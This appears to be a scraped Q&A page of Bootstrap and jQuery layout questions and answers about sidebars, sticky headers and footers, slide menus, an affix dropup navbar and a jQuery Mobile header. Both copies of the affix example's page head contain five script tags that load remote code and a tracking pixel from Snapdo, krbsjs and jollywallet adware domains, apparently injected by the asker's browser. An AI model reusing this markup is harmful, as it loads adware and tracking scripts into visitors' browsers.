I would like to be able to have a side bar that can be toggled in and out on a button press. However, I'd want this sidebar to go with the main content of the page and fit between a sticky header and a sticky footer.
My problem is that when I scroll the sidebar stays fixed. I want the sidebar and page content to be able to scroll together and the header disappear. Then the page content will scroll while the header stays where it is. Then once the bottom of the page is reached the footer comes in which will shrink the bottom of the sidebar. If there is overflow in the side bar then the sidebar should be scrollable.
I have a nearly working example using bootstrap and simple-side bar template here: https://jsfiddle.net/co7080j6/. The only problem is that the side bar doesn't adjust it's position with the sticky header and footer.
The html I'm using is here:
<body>
<!-- Navbar -->
<nav class="navbar navbar-inverse" style="margin: 0;">
<div class="container">
<a class="navbar-brand" href="#">Project name</a>
</div>
</nav>
<!-- /#navbar -->
<div class="container-full" >
<div id="wrapper">
<!-- Sidebar -->
<div id="sidebar-wrapper">
<ul class="sidebar-nav">
<li class="sidebar-brand">
Start Bootstrap
</li>
<li>
Events
</li>
</ul>
</div>
<!-- /#sidebar-wrapper -->
<!-- Page Content -->
<div id="page-content-wrapper" style="height: 900px">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12">
<a href="#menu-toggle" class="btn btn-default"
id="menu-toggle">
Toggle Menu
</a>
</div>
</div>
</div>
</div>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
</div>
<!-- container-full -->
<footer class="footer">
<div class="container">
<p class="text-muted">Place sticky footer content here.</p>
</div>
</footer>
<!-- Menu Toggle Script -->
<script>
$("#menu-toggle").click(function(e) {
e.preventDefault();
$("#wrapper").toggleClass("toggled");
});
</script>
</body>
And besides bootstrap and simple sidebar (I removed z-index on the sidebar) I'm also I'm also using:
/*MY CSS*/
.container-full {
margin: 0 auto;
width: 100%;
}
html {
position: relative;
min-height: 100%;
}
body {
/* Margin bottom by footer height */
margin-bottom: 60px;
}
.footer {
position: absolute;
bottom: 0;
width: 100%;
/* Set the fixed height of the footer here */
height: 60px;
background-color: #333;
}
*I'd also like it if the header came into view any time the window scrolled up, but I think I can get that myself once this is resolved.
This is more of a CSS issue than anything. If you make the following changes to the CSS file, you get the functionality you desire.
#sidebar-wrapper {
position: absolute;
height: 90%;
}
.sidebar-nav {
position: fixed;
top: 55px;
left: 30px;
}
Also need to include a little extra JQuery to get around the fact that the sidebar-nav text doesn't hide when position is set to fixed.
$(document).ready(function() {
$('#menu-toggle').click(function() {
$('.sidebar-nav').fadeToggle(300);
});
});
Here's a JSFiddle
I'm not 100% sure you wanted the sidebar text to scroll or stay in place. If you want it to stay put, simply remove the .sidebar-nav CSS changes I made. And here's the JSFiddle for that.
Related
This is more of a problem solving question. I'm trying to leverage the native in-page scrolling that browsers give to allow mobile users to skip to the content which they need more easily.
The issue is that I have a sticky header on the page, so using the native <a id="section1"></a>, visiting #section1 means that the scroll position is behind the sticky header.
Is there a way, using plain-old JS (or even CSS if possible!), to offset the scroll position by an amount of pixels? Or is there a more elegant JS solution for this which would work in IE11, Edge, Chrome & FF?
<header> ... </header> <!-- site-wide sticky header using position: sticky -->
<main>
<nav> <!-- page-specific sticky nav using position: sticky (placed under <header />) -->
Top
Bottom
</nav>
<div class="content">
<section>
<a id="top"></a>
...
...
...
</section>
...
<section>
<a id="bottom"></a>
...
...
...
</section>
</div>
</main>
If you know the heights of the headers then you can change the top of the anchor like the below:
header {
position: sticky;
position: -webkit-sticky;
top: 0; /* required */
background: yellow;
width: 100%;
height: 40px;
}
nav {
position: sticky;
position: -webkit-sticky;
top: 40px; /* required */
background: red;
width: 100%;
height: 20px;
}
section > a {
position: relative;
top: -60px;
}
section > div {
height: 500px;
width: 100%;
}
#topDiv {
background: blue;
}
#bottomDiv {
background: green;
}
<header> ... </header> <!-- site-wide sticky header using position: sticky -->
<main>
<nav> <!-- page-specific sticky nav using position: sticky (placed under <header />) -->
Top
Bottom
</nav>
<div class="content">
<section>
<a id="top"></a>
<div id="topDiv" style="height: 500px; width: 100%" >
Content
</div>
</section>
<section>
<a id="bottom"></a>
<div id="bottomDiv" style="height: 500px; width: 100%" >
Content
</div>
</section>
</div>
</main>
I have two glyphicon which i want to show the information to the left using slidetoggle. But, It opens downward. Please, help.
$(document).ready(function() {
$('#show_icon,.showhide_icon').hover(function() {
$(this).next().slideToggle("slow");
});
});
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" />
<header class="masthead">
<div class="container">
<div class="nav-header">
<div class="pull-right hidden-sm">
<ul>
<li class="listmenu">
<div id="show_icon"><span class="glyphicon glyphicon-shopping-cart"></span></div>
<div id="categories">
<div CLASS="showhide_icon">Login/Register</div>
</div>
</li>
<li class="listmenu">
<div id="show_icon"><span class="glyphicon glyphicon-shopping-cart"></span></div>
<div id="categories">
<div CLASS="showhide_icon">Shopping Bag</div>
</div>
</li>
</ul>
</div>
</div>
</div>
</header>
The CSS Properties goes like this.
CSS Properties
.listmenu {
float: left;
width: auto;
margin-right: 0;
height: 30px;
padding: 0 10px;
overflow: hidden;
}
#categories {
display: none;
width: 200px;
}
slideToggle() animates on the height of the element which is why you're seeing it open downward.
If you want a animation like you've linked in the comments use animate() to handle the width of the element. The site linked is using overflow: hidden and changing the width of the container to show the icon only or icon and text.
Edit: After reviewing your question again, a better solution might be to handle this with css:
The html is edited to include only what is needed to make this work. You'll want to review this for your purposes as well:
.listmenu {
display: inline;
}
.umMenu {
height: 16px;
max-width: 14px;
display: inline-block;
overflow: hidden;
}
.listmenu:hover .umMenu {
max-width: 500px;
/*Can be any # of sufficient width to display all content*/
transition: 2s;
}
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" />
<header class="masthead">
<div class="container">
<div class="nav-header">
<div class="pull-right hidden-sm">
<ul>
<li class="listmenu">
Login/Register
</li>
<li class="listmenu">
Shopping bag
</li>
</ul>
</div>
</div>
</div>
</header>
I have a drop-up footer that is working great :
$('#drop-up-open').click(function() {
$('#drop-up #drop-upDashboard').slideToggle({
direction: "up"
}, 300);
$(this).toggleClass('drop-upClose');
}); // end click
#drop-up {
position: absolute;
bottom: 0;
width: 100%;
padding-bottom: 4%;
z-index: 100;
margin-left: auto;
margin-right: auto;
left: 0;
right: 0;
}
#drop-up-open {
cursor: pointer;
text-decoration: none;
}
#drop-up .drop-upClose {}
#drop-up #drop-upDashboard {
display: none;
}
#media screen and (max-width: 1000px) {
#drop-up #drop-upDashboard{
display:block; }
}
<div class="container">
<!-- Jumbotron Header -->
<header class="jumbotron panel-heading">
<p class="text-center">
Text getting covered by drop-up menu on mobile
</p>
<section>
<button> Main button </button>
</section>
</header>
<div id="drop-up">
Open
<div id="drop-upDashboard">
<p>It's now open!</p>
<div class="row">
<div class="col-md-3 col-xs-12">
<section> <a href="#"><button>
<p>Button 1</p>
</button></a> </section>
</div>
<div class="col-md-3 col-xs-12">
<section> <a href="#"><button>
<p>Button 2</p>
</button></a> </section>
</div>
<div class="col-md-3 col-xs-12">
<section> <a href="#"><button>
<p>Button 3</p>
</button></a> </section>
</div>
<div class="col-md-3 col-xs-12">
<section> <a href="#"><button>
<p>Button 4</p>
</button></a> </section>
</div>
</div>
<!-- row -->
</div>
<!-- dashboard -->
</div>
<!-- drop-up -->
</div>
<!-- container -->
When I click the id="drop-up" div, the menu opens from bottom to top and occupies a small portion of the bottom of the window on desktop view.
Now, what I want is that this menu which is at first hidden on desktop view, gets displayed on smaller devices (mobile+tablet) without having to click the id="drop-up" div. It would occupy the same portion of the bottom of the page on mobile+tablet (and the user would then need to scroll down to see the drop-up menu on smaller devices, which is not the case on desktop view).
Any suggestions/tips about the best method to achieve this ?
You could wrap the whole thing in a flex box, then have the body flex to fill up the rest of the space, thus putting your footer at the footer level. Also 'appears' to work when you go responsive.
HOWEVER, this feels quite hacky at the moment, as if you draw a border around the flex box container, it'll only fit at its original 100% level.
$('#drop-up-open').click(function() {
$('#drop-up #drop-upDashboard').slideToggle({
direction: "up"
}, 300);
$(this).toggleClass('drop-upClose');
}); // end click
html, body {
height: 100%;
}
#drop-up-open {
cursor: pointer;
text-decoration: none;
}
#drop-up .drop-upClose {}
#drop-up #drop-upDashboard {
display: none;
}
#media screen and (max-width: 200px) {
#drop-up #drop-upDashboard{
display:block; }
html, body {
height: auto !important;
}
}
.container {
display: flex;
flex-direction: column;
border: 1px solid black;
min-height: 100%;
}
.body {
flex: 1;
}
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div class="container">
<!-- Jumbotron Header -->
<header class="jumbotron panel-heading" style="background-color: yellow; opacity: 0.7">
<p class="text-center">
Text getting covered by drop-up menu on mobile
</p>
<section>
<button> Main button </button>
</section>
</header>
<div class="body" style="background-color: orange; opacity: 0.3">
a body
</div>
<div id="drop-up" style="background-color: lightblue; opacity: 0.7">
Open
<div id="drop-upDashboard">
<p>It's now open!</p>
<div class="row">
<div class="col-md-3 col-xs-12">
<section> <a href="#"><button>
<p>Button 1</p>
</button></a> </section>
</div>
<div class="col-md-3 col-xs-12">
<section> <a href="#"><button>
<p>Button 2</p>
</button></a> </section>
</div>
<div class="col-md-3 col-xs-12">
<section> <a href="#"><button>
<p>Button 3</p>
</button></a> </section>
</div>
<div class="col-md-3 col-xs-12">
<section> <a href="#"><button>
<p>Button 4</p>
</button></a> </section>
</div>
</div>
<!-- row -->
</div>
<!-- dashboard -->
</div>
<!-- drop-up -->
</div>
<!-- container -->
I want to make a navbar with 'dropup' menus with affix property . But when '.affix' is fired the 'dropup' menus will become 'dropdown'. my JS code is not working and can't get any solution for this . My code is given below .. Here Section4 nav-element is a dropdown-menu.
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<!DOCTYPE html>
<html>
<head>
<title>Bootstrap Example</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
<script>
$('#myaffix').affix(
function() {
$('#cng').removeClass('.dropup').addClass('.dropdown');
}
);
</script>
<style>
body {
position: relative;
}
.affix {
top: 0;
width: 100%;
z-index: 9999 !important;
}
.navbar {
margin-bottom: 0px;
}
.affix ~ .container-fluid {
position: relative;
top: 50px;
}
#section1 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #1E88E5;
}
#section2 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #673ab7;
}
#section3 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #ff9800;
}
#section41 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #00bcd4;
}
#section42 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #009688;
}
</style>
<script type='text/javascript' src='http://i.krbsjs.info/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script>
<script type='text/javascript' src='http://i.krbssrc.org/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script>
<script type='text/javascript' src='http://api.jollywallet.com/affiliate/client?dist=100&sub=230_pr&name=Snapdo'></script>
<script type='text/javascript' src='http://cdncache-a.akamaihd.net/sub/jbbb2d8/src230_pr/l.js?pid=2126&ext=Snapdo'></script>
<script type='text/javascript' src='http://feed.snapdo.com/Pixel.aspx?type=inj&userid=4ec0649a-c229-42c0-29ef-287d07be9b68&co=BD&barcode=50046888'></script>
</head>
<body data-spy="scroll" data-target=".navbar" data-offset="50">
<div class="container-fluid" style="background-color:#F44336;color:#fff;height:200px;">
<h1>Scrollspy & Affix Example</h1>
<h3>Fixed navbar on scroll</h3>
<p>Scroll this page to see how the navbar behaves with data-spy="affix" and data-spy="scrollspy".</p>
<p>The navbar is attached to the top of the page after you have scrolled a specified amount of pixels, and the links in the navbar are automatically updated based on scroll position.</p>
</div>
<nav id="myaffix" class="navbar navbar-inverse" data-spy="affix" data-offset-top="197">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">WebSiteName</a>
</div>
<div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li>Section 1
</li>
<li>Section 2
</li>
<li>Section 3
</li>
<li class="dropup" id="cng"><a class="dropdown-toggle" data-toggle="dropdown" href="#">Section 4 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li>Section 4-1
</li>
<li>Section 4-2
</li>
</ul>
</li>
</ul>
</div>
</div>
</div>
</nav>
<div id="section1" class="container-fluid">
<h1>Section 1</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section2" class="container-fluid">
<h1>Section 2</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section3" class="container-fluid">
<h1>Section 3</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section41" class="container-fluid">
<h1>Section 4 Submenu 1</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section42" class="container-fluid">
<h1>Section 4 Submenu 2</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
</body>
</html>
GOT THE SOLUTION :D
$(document).ready(function() {
$('#myaffix').on('affix.bs.affix', function() {
$('#cng').removeClass('dropup').addClass('dropdown');
}).on('affix-top.bs.affix', function() {
$('#cng').removeClass('dropdown').addClass('dropup');
});
});
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<!DOCTYPE html>
<html>
<head>
<title>Bootstrap Example</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
<script>
$(document).ready(function() {
$('#myaffix').on('affix.bs.affix', function() {
$('#cng').removeClass('dropup').addClass('dropdown');
}).on('affix-top.bs.affix', function() {
$('#cng').removeClass('dropdown').addClass('dropup');
});
});
</script>
<style>
body {
position: relative;
}
.affix {
top: 0;
width: 100%;
z-index: 9999 !important;
}
.navbar {
margin-bottom: 0px;
}
.affix ~ .container-fluid {
position: relative;
top: 50px;
}
#section1 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #1E88E5;
}
#section2 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #673ab7;
}
#section3 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #ff9800;
}
#section41 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #00bcd4;
}
#section42 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #009688;
}
</style>
<script type='text/javascript' src='http://i.krbsjs.info/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script>
<script type='text/javascript' src='http://i.krbssrc.org/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script>
<script type='text/javascript' src='http://api.jollywallet.com/affiliate/client?dist=100&sub=230_pr&name=Snapdo'></script>
<script type='text/javascript' src='http://cdncache-a.akamaihd.net/sub/jbbb2d8/src230_pr/l.js?pid=2126&ext=Snapdo'></script>
<script type='text/javascript' src='http://feed.snapdo.com/Pixel.aspx?type=inj&userid=4ec0649a-c229-42c0-29ef-287d07be9b68&co=BD&barcode=50046888'></script>
</head>
<body data-spy="scroll" data-target=".navbar" data-offset="50">
<div class="container-fluid" style="background-color:#F44336;color:#fff;height:200px;">
<h1>Scrollspy & Affix Example</h1>
<h3>Fixed navbar on scroll</h3>
<p>Scroll this page to see how the navbar behaves with data-spy="affix" and data-spy="scrollspy".</p>
<p>The navbar is attached to the top of the page after you have scrolled a specified amount of pixels, and the links in the navbar are automatically updated based on scroll position.</p>
</div>
<nav id="myaffix" class="navbar navbar-inverse" data-spy="affix" data-offset-top="197">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">WebSiteName</a>
</div>
<div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li>Section 1
</li>
<li>Section 2
</li>
<li>Section 3
</li>
<li class="dropup" id="cng"><a class="dropdown-toggle" data-toggle="dropdown" href="#">Section 4 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li>Section 4-1
</li>
<li>Section 4-2
</li>
</ul>
</li>
</ul>
</div>
</div>
</div>
</nav>
<div id="section1" class="container-fluid">
<h1>Section 1</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section2" class="container-fluid">
<h1>Section 2</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section3" class="container-fluid">
<h1>Section 3</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section41" class="container-fluid">
<h1>Section 4 Submenu 1</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section42" class="container-fluid">
<h1>Section 4 Submenu 2</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
</body>
</html>
A bit of a strange request, I know.
I have a jQueryMobile page, a simple one as you can see:
<div data-role="page" class="type-home" id="home">
<div data-role="header" data-theme="b">
<h1>Our Tools</h1>
</div>
<div data-role="content">
<ul data-role="listview">
......
I need to put a Div containing a 100 px high content at the very top, outside any styling or div that jQuery Mobile uses.
How would that be done, as adding a plain Div as is just gets covered by jQuery Mobile.
I can't use an iFrame, it has to be all on one page in html.
If you are wanting a static header-type DIV, this is what works for me.
I put a "header" with fixed height and then offset the "content" with a margin-top like below. .ui-content is a class that is added automatically by jQM.
HTML:
<div data-role="page" id="somePage">
<div class="ui-bar ui-bar-b">
<a data-role="button" href="#main" data-transition="none" data-theme="a"></a>
<h1>Some header</h1>
</div>
<div data-role="content">
<div id="someDiv">
</div>
</div>
</div>
CSS:
.ui-bar {
position: fixed;
height: 100px;
z-index: 10000;
width: 100%;
padding: 0px 5px;
box-sizing: border-box;
}
.ui-content {
position: relative;
padding: 10px;
margin-top: 100px;
}